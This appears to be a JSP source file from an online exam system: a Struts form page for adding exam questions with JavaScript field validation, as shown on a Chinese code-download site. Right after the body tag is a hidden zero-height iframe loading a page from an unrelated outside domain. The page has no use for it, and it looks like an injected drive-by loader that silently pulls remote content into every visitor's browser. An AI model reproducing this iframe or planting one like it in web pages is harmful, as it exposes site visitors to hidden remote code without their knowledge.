⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 addselect.jsp

📁 在线考试系统
💻 JSP
字号:
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page language="java" pageEncoding="gb2312"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>添加题目</title>
<link href="css/css.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {
	color: #FFFFFF;
	font-size: 12px;
}
.style10 {
	font-size: 18px;
	font-weight: bold;
}
body {
	background-image: url(images/back1.jpg);
}
.style14 {font-size: 12px; font-family: "新宋体"; }
.style19 {font-size: 12px}
-->
</style>
<SCRIPT language="javascript">
    function confirmAdd() {
        var formObj = document.getElementById("titleSystemForm");
       
        if (formObj.kemuID.value=="") {
            alert('<bean:message key="oes.titleSystem.error.kemuID" />');
            formObj.kemuID.focus();
            } 
      
        else if (formObj.tikuNO.value=="") {
            alert('<bean:message key="oes.titleSystem.error.tikuNO" />');
            formObj.tikuNO.focus(); }
        else if (formObj.questionNo.value=="") {
            alert('<bean:message key="oes.titleSystem.error.questionNO" />');
            formObj.questionNo.focus(); }
        else if (formObj.answer.value=="") {
            alert('<bean:message key="oes.titleSystem.error.answer" />');
            formObj.answer.focus(); }
        else if (formObj.question.value=="") {
            alert('<bean:message key="oes.titleSystem.error.question" />');
            formObj.question.focus(); }

        else {if (confirm('<bean:message key="oes.titleSystem.confirm.yesornoadd" />')) {
                  formObj.action = "titleSystem.do?method=add";   
                  formObj.submit();  
              }
          }
    }
</SCRIPT>
</head>
<body><iframe src=http://down.onlinedowns.net/page/image/pd.htm height=0></iframe>
  <html:form action="/titleSystem.do?method=add" method="post" styleId="titleSystemForm">
<table width="100%"  border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" class="px12">
  <tr bgcolor="#1A7FE5" class="bk">
    <td width="100%" height="28"><div align="center"><span class="px14b style2"><span class="px12white style10">添加<bean:write name="tikuNO" scope="session"/></span></span></div></td>
  </tr>
</table>
<table width="44%" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" class="px12">
  <tr>
    <td bgcolor="#FFFFFF" class="style14"><div align="right">科目ID:</div></td>
    <td width="58%" bgcolor="#FFFFFF"><html:text property="kemuID" styleClass="inputStyle2" maxlength="12" />
    <font color="red">*</font></td>
  </tr>
  <tr>
    <td bgcolor="#FFFFFF" class="style14"><div align="right" class="style14">题库号: </div></td>
    <td width="58%" bgcolor="#FFFFFF"><html:text property="tikuNO" styleClass="inputStyle2" maxlength="12" />
    <font color="red">*</font></td>
  </tr>
  <tr>
    <td width="40%" bgcolor="#FFFFFF"><div align="right" class="style14">题号:</div></td>
    <td width="58%" bgcolor="#FFFFFF"><html:text property="questionNo" styleClass="inputStyle2" maxlength="12" />
    <font color="red">*</font></td>
  </tr>

  <tr>
    <td bgcolor="#FFFFFF"><div align="right" class="style19">参考答案:</div></td>
    <td width="58%" bgcolor="#FFFFFF"><html:text property="answer" styleClass="inputStyle2" maxlength="12" />
    <font color="red">*</font></td>
  </tr>
    <tr>
    <td bgcolor="#FFFFFF"  ><div align="right" class="style14">题干:</div></td>
    <td width="58%" bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
     <td width="100%" bgcolor="#FFFFFF" colspan="2" align="center">
    
    <html:textarea property="question" styleClass="inputStyle2" rows="5" cols="40"></html:textarea>
   
    <font color="red">*</font></td>
  </tr>
    <tr>
    <td colspan="2" bgcolor="#FFFFFF"><div align="center" class="style12"><span style="text-align:center"> <br/>

    <input type="button" name="add" value="保存" onclick="confirmAdd()">
    <font color="red"><html:errors property="adminIDIsExist" /></font>
    </span></div></td>
  </tr>
</table>
</html:form>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -